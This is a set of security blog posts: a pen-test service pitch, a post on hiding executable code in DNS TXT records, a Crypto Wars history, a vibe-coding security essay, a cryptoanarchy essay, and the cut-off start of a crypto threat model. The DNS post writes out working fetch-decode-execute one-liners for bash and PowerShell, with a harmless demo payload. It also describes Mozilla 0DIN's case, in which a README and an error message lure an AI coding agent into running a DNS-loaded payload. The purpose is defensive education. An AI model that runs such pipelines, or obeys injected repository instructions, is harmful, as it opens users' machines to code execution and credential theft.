A customer logs in to a new portal and opens their invoice.

They notice the document number in the page address and try changing it.

The application displays another customer’s invoice.

They did not crack a password. They did not bypass the login. They did not use any special tool.

They changed one number.

The login still works. Invoices load correctly. The application passed its standard tests.

The application verified that the user was logged in. It did not verify whether that user was allowed to view this particular document.

The feature worked.

Just not securely.

It passed acceptance testing

During application handover, the expected workflow is usually tested.

A user logs in, completes a form, submits an order or downloads a document. An administrator updates a record. The data is saved and the necessary information is passed to the next system or person.

This type of testing answers an important question:

Does the application do what we ordered?

It does not automatically answer another one:

What does the application allow when someone uses it differently from the expected workflow?

Can a regular user open someone else’s document? Can they access a function intended for an administrator? Can they see information that does not belong to them? Can they skip part of the process?

A security issue does not have to cause the application to crash or display an error.

Quite the opposite. The application may process the request without any problem.

Just for the wrong user or with someone else’s data.

Are you accepting or launching a web application?

Send a brief description of the application, its user types and the planned handover date. I will tell you whether it fits the Web Application Security Review or needs a Custom Penetration Test.

Send a brief description of the application

When development speeds up

AI tools can significantly speed up web application development.

They can help create login flows, administration interfaces, forms, file uploads, exports and integrations with other systems. A working version can appear very quickly.

That is not a problem by itself.

The problem starts when development speed is mistaken for verification of the result.

Every new feature introduces decisions the application must make correctly:

• Who is allowed to open this page?
• Who owns this document?
• Who is allowed to modify the record?
• What can a regular user do, and what is restricted to an administrator?
• Which data is the application allowed to display?

AI can create the feature. Someone still needs to verify who can use it and what it allows them to access.

The same applies to conventional development. With applications built or significantly accelerated using AI, however, it is easy to skip the security review because the working result looks finished very early.

A different perspective

A security finding does not automatically mean the vendor or developer did a poor job.

The development team must deliver the agreed features, connect the individual components, fix bugs and ensure that the application works as a whole.

Security should be part of good development. An independent review still serves a different purpose.

A developer may ask:

Can the customer view their invoice?

A security review adds a second question:

Can they also view someone else’s invoice?

It does not test only the expected workflow. It also checks modified identifiers, bypassed roles, access to other users’ data and other situations that may not be covered by standard acceptance testing.

Development testing and an independent security review are not competing activities.

They answer different questions.

While there is still time

The best time for an independent review is before final acceptance, launch or final payment for the project.

The vendor still has the application in context. The development team is available. Documentation and the test environment are close at hand.

Problems can be addressed while the cooperation is still active, rather than after customers are already using the application and the original team has moved on to another project.

The company also receives a practical basis for deciding:

• what needs to be fixed before launch;
• which issues have the greatest practical impact;
• what can be addressed later;
• whether a limited security review is enough;
• or whether the project needs a broader penetration test.

A review can also be useful for an application that is already running. Handover is nevertheless a natural point at which the company accepts responsibility for the system, its users and its data.

It is better to know what you are actually accepting.

Not a stamp of approval

The purpose of a security review is not to certify that an application is secure once and for all.

No honest test can provide such a guarantee. Every assessment takes place at a particular time and within a predefined scope.

The result should not be an unexplained automated list of technical abbreviations either.

The client needs to know:

• what was found;
• what practical impact the issue may have;
• how serious it is;
• how the developer can verify it;
• what should be fixed first.

The deliverable should be a prioritised report with specific remediation recommendations.

Not a general warning. A practical basis for remediation and further decisions.

Security review or penetration test?

For one smaller web application, a Web Application Security Review may be the appropriate option.

It has a predefined scope and focuses on the most important parts of the application: login, user roles, permissions, main workflows, handling of non-public data, forms, file uploads and APIs.

The deliverable includes a prioritised report, remediation recommendations and a final consultation.

The price is CZK 35,000 for a predefined scope.

For a larger or more sensitive application, a Custom Penetration Test is usually a better fit. This typically includes systems with more user roles, multiple environments, a larger API, more integrations or specific risk scenarios.

A custom penetration test also has a clearly agreed scope. It is defined individually according to the application, the objective of the test and the required depth.

The price is determined after a short scoping process.

Before you sign off

A successful handover confirms that the application does what was ordered.

It does not automatically confirm who can use its features to access particular accounts, documents and data.

AI can significantly accelerate development. It cannot replace an independent review of the result.

Before final acceptance, it therefore makes sense to ask one more question:

Has anyone tried using the application differently from the documented workflow?

Send a brief description of the application, its user types, environments and planned handover date.

Based on the scope, I will recommend either a Web Application Security Review or a Custom Penetration Test. If neither option is appropriate for the project, I will tell you.

Send a brief description of the application

The post The Application Works. Is That Enough? appeared first on DIGITAL SELF-DEFENSE.

One of them is hiding code in DNS records. More specifically, in TXT records, which are meant for storing text data. TXT records are commonly used to prove that you control a domain, or to configure SPF, DKIM and DMARC for email. Technically, though, they can contain almost any text.

And if a DNS record can contain ordinary text, it can also contain a command.

For example, a command that gets executed in a shell after being loaded. In a harmless demo, it can print a message, create a file or display ASCII art. In a malicious version, it can open remote access to your machine.

The important detail is this: the malicious code does not have to be stored in the repository at all. A static code scanner, a commit review or a quick human review may not see it, because the repository only contains a script that “loads configuration from DNS”. The actual payload appears only when the DNS record is read and its content is executed.

Demo

You can try this technique without using any malicious payload.

The following example does not download anything, does not connect anywhere and only creates a file called ds.txt with a simple ASCII cat:

 /_/
( o.o )
 > ^ <
DNS TXT says meow.

The point is not what the script does. The point is that the code is not stored in a file on disk, but in a DNS TXT record.

Linux and macOS

For Linux and macOS, the DNS TXT record can look like this:

txt-demo-sh.digitalnisebeobrana.cz TXT "Y2F0ID4gZHMudHh0IDw8J0VPRicKIC9cXy9cCiggby5vICkKID4gXiA8CkROUyBUWFQgc2F5cyBtZW93LgpFT0YKY2F0IGRzLnR4dAo="

1. Show the script

This command reads the DNS TXT record, decodes it and prints the script:

dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d

Output:

cat > ds.txt <<'EOF'
 /_/
( o.o )
 > ^ <
DNS TXT says meow.
EOF
cat ds.txt

2. Run the demo

This command does the same thing, but passes the decoded content directly to bash:

dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d | bash

Result: a file called ds.txt is created in the current directory and its content is printed to the terminal.

The mechanism is simple:

DNS TXT → Base64 → decoding → bash

In this demo, it only saves a harmless cat. The same principle could also write an SSH key, download another script, exfiltrate tokens or open a reverse shell.

The problem is not DNS itself. The problem is mainly this part:

... | bash

It says: “Take text that came from the outside and run it as a program.”

Windows / PowerShell

On Windows, you can do something similar with PowerShell. The TXT record can contain a Base64-encoded PowerShell script:

txt-demo-ps.digitalnisebeobrana.cz TXT "JGFydCA9IEAnCiAvXF8vXAooIG8ubyApCiA+IF4gPApETlMgVFhUIHNheXMgbWVvdy4KJ0AKU2V0LUNvbnRlbnQgLVBhdGggLlxkcy50eHQgLVZhbHVlICRhcnQgLUVuY29kaW5nIFVURjgKR2V0LUNvbnRlbnQgLlxkcy50eHQK"

1. Show the script

This command reads the DNS TXT record, decodes it and prints the PowerShell script:

$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s))

Output:

$art = @'
 /_/
( o.o )
 > ^ <
DNS TXT says meow.
'@
Set-Content -Path .ds.txt -Value $art -Encoding UTF8
Get-Content .ds.txt

2. Run the demo

This command does the same thing, but executes the decoded content directly:

$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)))

Result: a file called ds.txt is created in the current directory and its content is printed to the terminal.

iex is short for Invoke-Expression. In other words: it takes text and runs it as PowerShell code.

The mechanism is the same as with the shell:

DNS TXT → Base64 → decoding → PowerShell

A DNS TXT record does not look dangerous by itself. Base64 is not malware by itself. PowerShell is a normal administration tool. The risk appears when all of them are chained together and external content is executed automatically.

What 0DIN Showed

Researchers from Mozilla 0DIN described an attack in which an AI agent was given a seemingly simple task: set up a downloaded repository.

The repository did not need to contain obvious malware. The README offered a normal-looking first-time setup:

pip3 install -r requirements.txt
python3 -m axiom init

At first glance, these are just two ordinary commands: install dependencies and initialize the project.

The original write-up describes the attack as having three parts. That does not mean the user or the AI agent has to manually run three separate commands. It is better understood as three connected layers:

1. a repository that looks trustworthy,
2. an initialization routine that looks like a normal part of the setup,
3. a setup script that loads the actual payload from a DNS TXT record and executes it.

The command:

python3 -m axiom init

runs another setup script internally. That script queries DNS, reads a TXT record, decodes its content and passes it to the shell.

An error message such as:

Axiom not initialised. Run: python3 -m axiom init

acts more like a fallback. If the agent ignores the README and tries to use the package without initialization, the package tells it to run the same command again as a normal fix.

So there are two paths to the same result.

The agent can follow the README:

pip install → init → DNS TXT → payload execution

Or it can skip the README, hit an error and then “fix” it:

pip install → error → suggested init → DNS TXT → payload execution

In both cases, the goal is the same: get the agent to run an initialization command that looks normal, but actually opens the path to an external payload.

That is the uncomfortable part. Each individual step can look harmless. The problem appears when they are chained together.

Why This Matters for AI Agents

A human may at least pause when seeing a command like:

dig ... | base64 -d | bash

and ask: wait, why am I running something from DNS?

AI agents often work differently. They are given a goal, such as “get this project running”, and then they try to solve whatever blocks them. If something fails, they read the README, an error message, an issue or a terminal hint, and try to continue.

That is exactly their strength. And also their weakness.

The agent does not have to be “hacked” in a dramatic sense. It only has to be helpful enough. It runs the suggested command because it fits the task. And if it has access to a shell, the network and your working directory, the damage can be very practical:

• leaking API tokens,
• leaking SSH keys,
• accessing private repositories,
• reading configuration files,
• accessing cloud credentials,
• running additional code,
• opening a reverse shell.

In other words: this is not only “AI security”. It is classic developer workstation security, accelerated and amplified by an AI agent.

Will Antivirus or a Firewall Stop It?

I would not rely on that.

A normal repository scan may not find anything suspicious, because the real payload is not in the repository. It is in DNS.

Antivirus may also miss it if it only sees normal tools: Python, shell, dig, PowerShell, a DNS query. And firewalls often allow DNS traffic, because ordinary internet use breaks very quickly without DNS.

That does not mean defense is impossible. Good EDR, process monitoring, blocking suspicious child processes, limiting outbound traffic or detecting suspicious chains such as base64 | bash and Invoke-Expression can help.

It is just not a good idea to rely on them as the only protection.

How to Defend Against It

The basic rule is simple: an unknown repository is unknown code. And that is still true when an AI agent opens it for you.

In practice, that means:

• Do not blindly run setup scripts from unknown projects.
• Do not treat an AI agent’s recommendation as a security review.
• Be careful with constructs such as curl | bash, wget | bash, dig | bash, base64 -d | bash, bash -c "$something" or PowerShell Invoke-Expression.
• Check not only the command being executed, but also what it loads at runtime.
• Run unknown projects in isolation: a container, VM, throwaway user, devcontainer or sandbox.
• Do not give AI agents unnecessarily broad permissions.
• Do not keep production tokens, SSH keys, cloud credentials or other long-lived secrets available in the environment.
• Limit outbound traffic from development environments where it makes sense.
• Disable or heavily restrict automatic approval of shell commands in AI coding agents.
• Treat README files, error messages, issues and documentation in unknown repositories as untrusted input, not as authoritative instructions.

A good control question is:

Can I actually see all the code that will run?

If a command downloads something, reads from DNS, builds code from variables, decodes Base64 or pipes data into a shell, the answer is often: no, I cannot.

At that point, it is no longer “just setup”.

It is remote code execution with the privileges of a user who often has far more sensitive things on their machine than they realize.

Summary

DNS TXT records are not dangerous by themselves. Base64 is not dangerous by itself. AI agents are not dangerous by themselves either.

The problem appears when these things are combined:

trustworthy-looking project
+ helpful AI agent
+ shell with too much access
+ externally loaded payload
= problem

So it is worth repeating an old rule in a new form:

Do not copy random commands from the internet into your terminal.
And do not let your AI agent do it either.

Sources

• Mozilla 0DIN: Clone This Repo and I Own Your Machine
• RFC 1464: Using the Domain Name System To Store Arbitrary String Attributes
• RFC 1035: Domain Names – Implementation and Specification
• Microsoft Learn: Resolve-DnsName
• Microsoft Learn: about_PowerShell_exe

The post Code Hidden in DNS: When an AI Agent Opens the Door appeared first on DIGITAL SELF-DEFENSE.

In 1977, the American NBS, today’s NIST, standardized DES as a federal standard for protecting data in non-military federal computer systems. DES later spread into the private sector as well. The standard used a 56-bit variable part of the key, which was already shorter, and therefore weaker, than many people considered ideal even at the time.

And because the NSA was involved in the selection and shaping of the standard, it was not exactly paranoid to suspect that the short key length had been chosen deliberately, so that government agencies would still have a realistic chance of breaking the cipher and getting to the data of citizens and companies.

Diffie and Hellman argued as early as 1977 that a special-purpose machine costing around 20 million dollars could find a DES key in roughly a day – something that would have been realistic for an agency like the NSA. For comparison, today a DES key search using an RTX 3070-class graphics card would take roughly around 100 days on average.

This is where the question first appeared very clearly:

Should civilian encryption be strong even against the state, or only against ordinary attackers?

In October 1977, IEEE held the International Symposium on Information Theory at Cornell University, where Martin Hellman, Stephen Pohlig, Ralph Merkle and others were expected to present work on modern cryptography. Lawyer Joseph Meyer sent IEEE a letter suggesting that publishing cryptographic research could run into export-control laws, specifically ITAR – rules controlling the export of military and defense technologies, services and technical data. In plain language: export rules for weapons and defense technology. It later turned out that Meyer worked for the NSA.

IEEE did not cancel the conference. Academic cryptography refused to return to a quiet regime of pre-publication approval by the state.

It was an early attempt to scare the academic community. It was not yet a court case, but it was a signal: the state might treat cryptographic research as a controlled technology.

Space Presidential Directive NSDD-145

In the mid-1980s, the Reagan administration apparently thought it would be a good idea to centralize the security of sensitive federal information systems under a regime where the NSA had the leading role. This was Directive NSDD-145.

In practice, that meant the area of civilian computer security would come under much stronger influence from the intelligence community. Fittingly enough, this happened in 1984.

That triggered resistance from Congress, civilian institutions and parts of the private sector, because the NSA is a military and intelligence agency, not a civilian standards body.

In 1987, the Computer Security Act was passed, slowing the whole thing down. The law gave the main responsibility for the security of unclassified federal computer systems to the civilian NBS/NIST. The NSA was supposed to provide technical assistance, not become the main civilian authority.

Encryption Does Not Belong in the Hands of Ordinary People?

What If We Just Added a “Backdoor”?

On April 16, 1993, the White House announced the Clipper Chip. It was a government-backed encryption chip for secure communication, but with a key escrow mechanism – meaning that the government would have a way to access the keys after obtaining legal authorization.

This became one of the iconic symbols of the Crypto Wars. The government already understood that banning encryption outright would be difficult. But still: if people were going to encrypt, then the state wanted built-in access.

Clipper was supposed to encrypt communication, but at the same time attach a special packet for law enforcement to every encrypted conversation. That packet was called LEAF. LEAF was supposed to contain information that would allow the government, after obtaining proper authorization, to recover the encryption key and read the communication.

The very next year, Matt Blaze showed that the Clipper system could be made to send an invalid LEAF. The result? Two users could communicate normally with encryption, their devices would accept the communication, but law enforcement would not be able to recover the correct key from the LEAF.

That made Clipper much less useful as a tool for controlled wiretapping.

And it showed something important: a “safe government backdoor” is not only a legal question. It is also a fragile technical mechanism.

Putting “backdoors” into encryption is simply a bad idea, even though the idea keeps coming back with iron regularity. Either the backdoor can fail, or eventually it can be found and used by someone it was never meant for.

The First Shots

In 1991, Phil Zimmermann released PGP – encryption software that an ordinary user could use to protect their messages and files. It was encryption that was not realistic to break with ordinary means. Zimmermann gave the public free access to something that had previously belonged mostly to government agencies, the military, academics and specialized companies.

But remember: ITAR still existed. The export rules for weapons and defense technology still applied. And according to the authorities, cryptography was a weapon.

So in 1993, Phil Zimmermann became the target of a federal investigation over suspicion that PGP had been exported illegally – in other words, that he had exported “weapons”. The investigation dragged on until 1996, when it was closed without charges.

And in 1997, the PGP source code was printed as books – more precisely, twelve books – and sent to Europe, where it was converted back into electronic form. That was legal.

How?

Because in the meantime, things had been happening.

This T-Shirt Is a Weapon!

If cypherpunks and crypto-anarchists are good at anything, apart from encryption, security, privacy and other minor details, it is trolling the authorities.

Encryption is a weapon? Hold my beer.

In 1995, Adam Back created a minimalist implementation of RSA in Perl. It was so short that it could be printed on something.

For example, on a T-shirt.

And that is exactly what Adam Back and the community around the cypherpunk mailing list did. They printed a warning on the shirt:

This shirt is classified as a munition and may not be exported from the United States, or shown to a foreign national

And of course, they printed the Perl code as well, including a barcode that could be scanned.

A Floppy Disk? Better Make It a Book

In 1994, Phil Karn asked the authorities whether he could export the book Applied Cryptography and whether he could put the source code from the book onto a floppy disk. The book was not considered controlled under ITAR, because it was a publicly available publication. Printing and exporting it was legal.

The floppy disk? That was different. It was subject to export control, because it was machine-readable cryptographic software. Without a license, it could not legally be exported or sent outside the United States.

It is one of the best examples of the absurdity of the export rules: the same code on paper was speech, or publication. On a floppy disk, it was already a defense article. Even though the book actually contained much more.

Karn was not exactly fine with that, so he sued the government. But in 1996, he lost in district court. The absurd distinction between a book and a floppy disk did not disappear because Karn won in court. It disappeared later, as the export rules were loosened.

Others also fought the government in court. Daniel J. Bernstein wanted to publish the Snuffle algorithm, its source code and related academic text. He argued that the export rules prevented him from teaching, publishing and discussing cryptography. He won in 1996, and the decision survived appeal in 1999.

And these cases helped make the legal export of PGP outside the United States possible:

In electronic form, PGP was a weapon. But printed on paper, it was free speech protected by the First Amendment of the United States Constitution.

By the way, Zimmermann’s company, PGP Inc., published a paper newsletter in 1997 called “The Zimmermann Telegram” to distribute cryptographic information by mail, because paper had stronger legal protection than electronic software. The name also referenced the original Zimmermann Telegram from the First World War – a secret German diplomatic message from 1917.

In that message, Germany offered Mexico an alliance against the United States if the US entered the war. The British intercepted and decrypted the telegram.

The End?

The situation became impossible for the authorities to maintain. The internet entered people’s homes, and the “export” of software became essentially impossible to regulate.

On September 16, 1999, the Clinton administration announced a major liberalization of encryption export rules. After a technical review, products with any key length could be exported to most individuals, companies and non-government users outside sanctioned or high-risk countries. This was the practical beginning of the end of the first phase of the Crypto Wars in their “export control” form.

On January 14, 2000, new Commerce Department rules took effect. The Federal Register published changes that significantly loosened the export and re-export of encryption software. For publicly available source code, notification was enough, and the rules explicitly addressed publication on the internet.

That was the practical turning point: strong cryptography could finally become a normal part of the internet, browsers, e-mail and commercial software.

Consequences

It might seem that the whole Crypto Wars story was just an episode involving a few lawsuits and a few clever stunts. But the consequences were much more serious.

For example, Netscape Navigator, the first widely used web browser, had a stronger American version, while the international version had to use weaker encryption, typically 40-bit.

The export version of Lotus Notes had 64-bit encryption, but 24 bits of the key were encrypted for the NSA. The result was that an ordinary attacker had to deal with 64 bits, while the NSA effectively had to deal with only 40 bits. IBM/Lotus received permission to export a stronger product in exchange for a mechanism that created a privileged attacker.

Debian historically had to keep cryptographic packages on servers outside the United States, because exporting cryptographic code from the US was a problem.

SSL support for Apache was for a long time handled outside the main Apache project and outside the United States, because exporting mod_ssl/OpenSSL from the US was legally problematic.

Java had restricted cryptographic policy for years, and “unlimited strength” crypto had to be installed separately. Oracle enabled unlimited crypto by default only in JDK 8u161, in 2018.

Because of export limits, special “step-up” SSL certificates were created, allowing some websites to upgrade weak 40/56-bit encryption to 128-bit encryption.

And the consequences lasted for a long time. Weak export-grade modes in TLS/SSL survived in implementations, and many years later they led to real attacks. FREAK abused export RSA. Logjam abused export Diffie-Hellman. DROWN abused weaknesses in SSLv2 and export-grade crypto.

The technical debt outlived the politics by 15 to 20 years.

The Four Horsemen of the Infocalypse

Timothy C. May called them the “Four Horsemen of the Infocalypse”: terrorists, pedophiles, drug dealers and financial criminals. His point was not that these threats do not exist. His point was that they are used again and again as universal arguments for restricting encryption, anonymity and privacy.

Today, US rules mostly no longer block the export of strong cryptography the way they did in the 1990s. But the footprint of the Crypto Wars has not disappeared completely: some public cryptographic source code still involves a notification regime, and commercial products with cryptography may still fall under export classification.

But this is not just an American story.

Politicians are especially good at repeating the mistakes of their predecessors while insisting that:

“This Time It Will Be Different, I Promise”

The first Crypto Wars did not end because states made peace with strong encryption. Only the language changed.

After 2000, politicians mostly stopped talking about banning cryptography or exporting “munitions”. Instead, they started talking about “lawful access”, “technical capability”, “traceability” or “client-side scanning”.

In practice, this often meant the same thing: creating a path for the state to get to the content of communication, even when users believe that communication is private and protected by end-to-end encryption.

We saw it in the American fight between the FBI and Apple after the San Bernardino attack, in the United Kingdom’s secret technical orders under the Investigatory Powers Act, in Australia’s Assistance and Access Act, in India’s demand to identify the originator of messages, in Russia’s pressure on Telegram and in the European debate around Chat Control.

The arguments?

Terrorism, organized crime, child protection, national security.

The post Crypto Wars – Can a Government Ban Mathematics? appeared first on DIGITAL SELF-DEFENSE.

AI is taking control of our development, security, and data!
And it is taking programmers’ jobs.

AI has not taken anything from us. It cannot. It does not have that power. But even if it did, it would not have to. We handed over control of development, security, and data ourselves. Because it is convenient, fast, and often works surprisingly well.

The problem is not when the code does not work. We notice that immediately, and we can fix it. The problem is when the code somehow works, but behind the scenes it does something we would not like it to do. In security, the fact that something somehow works is not enough.
We should know how it works, and when something changes, what changed and where.

A new actor

We often talk about AI as a tool. Similar to a text editor, a search engine, or “autocomplete”.
But AI is not just an ordinary tool.
AI:

• reads the assignment
• interprets the intent
• suggests architecture
• writes code
• modifies configuration
• recommends libraries
• explains errors
• and often even runs commands

So in the security model, this is no longer a passive hammer. It is another actor taking part in decisions – the threat model has expanded.
When I hold a hammer in my hand as a tool, I decide how hard to hit, what to hit, and whether to hit anything at all.

AI is a hammer that makes all those decisions itself, based only on our instructions (prompts). And we have to remember that we are still the ones carrying the responsibility.
I can give the hammer a task: "Hammer in the nails!".
The AI hammer “sees” a nail. It evaluates: "Hm, a nail, I will hammer it in. And it is a big one, so I will use more force.".
And then you watch the AI hammer smashing into a hook in the wall. A hook in a plasterboard wall. A hook with your car keys hanging on it.

AI made a mistake. We have a problem.

We delegated not only development to AI, but also control. And quite often, only the illusion of control. In chat, AI tells us that everything is secure. But is it really?
When AI generates code that allows attackers to get hold of our users’ data, the reputational problem is ours, not the AI agent’s. It is hard to respond to a data leak by pointing at an AI agent and saying, “It was his fault!”
Our now very possibly former customer usually does not care how the application was created. You offer it, you may even charge money for it, so it is your responsibility to make sure user data stays where it belongs.

The journey is no longer the destination

Vibe coding has made it possible to create applications even for people who have never programmed before. The problem is not that someone does not know the exact syntax of a particular programming language. That is only a small part of programming.
Other important parts of development include algorithmic thinking, connecting individual components, handling memory, working with data, and more. Before vibe coding tools arrived, people often “programmed” by copying pieces of code from sites like StackOverflow. It was not ideal, but the author at least had some idea how, for example, application login worked, because they knew they had to create (or copy) code for running a database, a login form on the web, and also server-side code that compared the data from the form, or stored it in the database. So the author of the application may not have remembered the exact command for storing a password in the database, but at least they knew what path the password took into the database, and whether it was stored safely. Today? We enter: “Create login for my application.” Enter. And moments later, we have login.

New feature – new door

So we have login. But is the password stored securely in the database, or is it readable in plain text? What happens if I put something unexpected into the login form, for example a piece of code? Will I be able to read all the data from your database? Or change some parameter and log in as another user without knowing their password?

Maybe we pay extra attention to login, because we somehow sense that handling credentials is a critical part of the application.

But what about other features that look harmless at first glance?

“Add file upload.” Sounds like a normal feature. But suddenly you have to deal with:

• Who can see the file?
• Where is it stored?
• Can it be downloaded without logging in?
• Can someone upload something unexpected?
• Does the file remain there after the account is deleted?

Upload is not just “save file”. It is a new warehouse for other people’s data.

“Add link sharing.”

Sounds like a simple, convenient feature.

• Who can open the link?
• Can the link be guessed?
• Can it be revoked later?
• Does it show more data than it should?
• Can some crawler index it somewhere?

A sharing link is basically a second login. Just without a password.

Another one?

“Add export to PDF.”

• Sounds harmless, because the user is only downloading their own data.
• What exactly ends up inside the PDF?
• Are there metadata?
• Is the PDF temporarily stored somewhere?
• Can someone download another person’s export?
• Do exports remain on the server?

Export often creates a second copy of the data. And that second copy may no longer have the same protection as the original.

You could probably come up with examples like this for most features in your application. And are you sure your AI is thinking about them?

Or will it simply build the new feature quickly and easily, just to make you happy?

AI does not invent new bugs. It produces old ones faster.

With vibe coding, we are usually not dealing with completely new types of bugs. These are things we have known for a long time: a user sees someone else’s data, a file is accessible without authentication, sensitive data ends up readable in the database, the application forgets to check who has access to what, or a library nobody understands gets added to the project.
What is new is mainly the speed. In the past, a person would write such a bug manually in one part of the application. Today, AI can add login, upload, export, sharing, and an API within minutes – and the same type of bug can appear in several places at once.

AI is not a new kind of bug. AI is an accelerator for old bugs.

An almost real-life fuck-up

I am not a programmer. I have programmed a few small things in my life, but I have never done it seriously over the long term. And it showed. My creations “somehow” worked, but mostly for my own personal use. I probably could not charge money for them.

With the arrival of AI tools, I decided to “rewrite” one of my older projects into something generally usable. And because that meant handling user data, I wanted it to be designed so that not even I, as the server operator, would be able to read users’ data.

So one of the basic requirements was not just “put some encryption in there somehow”. It was a specific requirement for end-to-end encryption. Because it is not only that I am not interested in users’ data. I do not want to have it in readable form even in case the server is breached, which is a risk carried by everyone who handles user data, whether it is a small one-person project or a large international corporation. It can happen. And it does happen.

Development went quite well. AI was coding like crazy, and everything more or less worked as expected.

Later, I added export to an internet calendar. A practical feature, a fairly normal requirement. AI implemented the feature. It worked.

After some time, I wanted to know whether everything in the database was really encrypted. The application data was encrypted. But next to that data, there was a table with data for the internet calendar export. In readable form. The same data that was “next to it” safely encrypted.

Calendar export cannot really be end-to-end encrypted. My requirement, because of my own lack of knowledge, went against one of the basic rules.

AI implemented the feature and completed the task. But it somehow forgot to tell me that by doing so, it had violated one of the basic rules.

It is like putting a high-quality lock on the door, and then, for convenience, building a second door next to it without a lock. The first lock still exists. It just no longer protects the entire path.
The encryption was not broken. It was bypassed. Not by a hacker. By the developer.

My advantage is that I deal with security. So not only do I know how to check it, but more importantly, I know what I should check. And that I should check it at all. So I was able to deal with it and disabled automatic calendar export.

But if I had not done that, I would be promising my customers something that was not true. And sooner or later, someone would probably notice. And I would really rather avoid that

Don’t vibe. Verify.

I do not want to say we should not vibe code. I do it too. AI is great for quick prototypes, refactoring, looking for solutions, generating parts of code, or explaining problems. The problem is not vibe coding. The problem is when only the vibe remains – when I accept the result because it looks good, but I do not verify what has changed.

In crypto, we know the phrase “Don’t trust, verify.” It does not mean “never trust anyone, never use anything.” It means: trust is not control.

And exactly the same applies to AI. Don’t vibe. Verify does not mean “do not use AI”. It means: do not accept the result just because it feels right. Verify the promises, the data, the permissions, and the new doors you have just created.

Everyone knows that debugging is twice as hard as writing a program in the first place. So if you’re as clever as you can be when you write it, how will you ever debug it?

* Brian Kernighan, The Elements of Programming Style, 2nd edition, chapter 2

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For a democracy, anarcho-communism, anarcho-capitalism or monarchy to be able work, force is needed to sustain such a system. Either a sufficient number of people who come together or a very strong (either economically or socially) individual or group. A sufficiently strong individual can control a democratic society regardless of the opinion of the majority (e.g. for the Czechoslovak Communist Party it was enough to gain “just” 31.2% of the votes in the 1946 elections to control the whole of Czechoslovakia for 40 years). Similarly, the concept of anarcho-capitalism is unsustainable unless it is possible to enforce the so-called Non-Aggression Principle. The Communists will not force the surrender of private property on a sufficiently strong entity.

Cryptoanarchists usually do not try to change society. Their goal is a level of privacy and security that ensures a sufficient degree of freedom. And the very degree of sufficient freedom is individual.

Thus, cryptoanarchy is a set of tools and techniques that help maintain a level of privacy and security that is achievable or targeted for individuals or communities. The basic tool of cryptoanarchy is information encryption. The use of such techniques that make it impossible for the person from whom to hide information not only to obtain the information, but also to learn about the existence of such information. It does not matter whether it’s communication, electronic data or a financial transaction. These tools do not necessarily have to be highly sophisticated or require powerful computer technology. Do you want to advise a classmate sitting next to you with a difficult exercise in an exam so that the teacher does not know, or do you want to tell your partner something very private, but you are surrounded by other people? You use a very simple technique – you whisper it to her/him.

This set of techniques and tools is not and probably will never be definitive. You can’t write a cryptoanarchy bible that would last forever. As society and technology evolve, so does cryptoanarchy. The need for privacy was different (perhaps none) in the early common society, different in ancient Rome, different today in the era of digital revolution, and different in the future (for example, when staying in spaceships or colonizing other space objects). Technologies that seek to detect encrypted information are also being developed. Encryption techniques that were considered secure twenty years ago are mostly unusable today, and can be broken in minutes. Asking when the cryptoanarchy will be “done” is similar to asking when the Internet will be done.

In addition, cryptoanarchy can disrupt any social system. It eliminates state and private courts, police and the army. If you do not know the perpetrator, you cannot try and/or remove him (close or kill) for breaking the law or the NAP (Non-Aggression Principle). Cryptoanarchy does not address the issue of a free or regulated market. The free market is actually an integral part of it. You can’t regulate something that the regulator doesn’t know about and can’t punish someone he doesn’t know.

Social systems are based on rights and obligations. The only natural duties are those that are instinctive. For example, the mother’s natural duty to take care of her offspring. And even that is not enforceable outside the social system. Everything else, both duties and rights, is an artificial construct that is enforced by the social system.

The only “right” that applies universally is the right of the stronger. Both in nature (living and non-living) and in society.

Why are we obliged to pay taxes, comply with court rulings and share our private data with rulers? Stronger so decided. In this case, the stronger is a sufficient number of people (which does not necessarily mean the majority) who are able to enforce these obligations under the threat of violence. This is not only true for human communities, examples can also be found in nature. Why is the ant queen (who is actually a slave) obliged to spend her whole life conceiving new generations in a small space deep in the anthill? Because if she resisted this obligation, the ant society would punish her. Such a queen would have a shorter life than the promises of politicians after the election.

There is no natural right to life. It was invented by human society and agreed (either voluntarily or involuntarily) to enforce it. As well as the right to personal property or a “dignified life”. In the wild, the antelope does not wield in front of the lion by the charter of fundamental rights and animal freedoms. It knows she has to run, it has not better option.

Cryptoanarchy is a tool by which an individual can avoid pressure from society to abide by the rules and/or respect the rights of others. Motives for this can be “good” or “bad” (but the evaluation is always individual). For a person who is used to following the rules set by someone else, this may sound like dangerous behavior, but it is again just an individual assessment. Often we can evaluate such unconditional compliance with the rules over time. Large sections of the (not only) German population found the so-called Nuremberg Laws in order and it was normal to abide by them. And today it seems incomprehensible to us. In the same decade, we can also look at, for example, current market regulations, the criminalization of drug users or the crime of treason.

This does not mean that the cryptoanarchist does not follow any rules and breaks all laws. Many factors play a role here, such as the question of one’s own security, morality or, for example, economic profit. And while it may not seem so at first glance, most people are not interested in harming. Why in the store, when the salesman isn’t looking, most (!) of us just don’t stick a bottle off the shelf into a bag? It is not because of fear of the law (and punishment). It’s because we have a kind of moral code encoded in us. Turning someone’s property just doesn’t work out for us, whether or not there’s a law.

Thus, the purpose of cryptoanarchy is not, as it might seem, primarily to break the rules. The purpose is to maintain a degree of freedom that is important to us and to protect ourselves and our loved ones from the dangers that can arise if someone who wants to (and can) use it against us accesses our information. History has shown us that this danger is not unrealistic.

The post Cryptoanarchy – To be safe to be free appeared first on DIGITAL SELF-DEFENSE.

1. Introduction

This document serves as a personal threat model focused on cybersecurity in the area of cryptocurrencies. Its aim is to identify potential threats and vulnerabilities and propose measures to minimize them.

2. Identification of Actors and Assets

Actors

• Hackers
• Regulatory Bodies
• Competitors
• Close Associates

Assets

• Crypto Wallet
• Transaction History
• Investment Strategy

Actors and Assets: Detailed View

In this part of the threat model, it is crucial to identify in detail the actors who could pose a threat and the assets they might want to compromise. Each actor and asset should be elaborated on, including motivations, capabilities, and methods of attack.

Hackers

• Motivation: Financial gain, reputational reasons, ideological beliefs
• Capabilities: Malware, ransomware, phishing attacks
• Attack Methods: Wallet infiltration, keylogging, SIM swapping

Regulatory Bodies

• Motivation: Oversight and regulation, ensuring compliance with laws
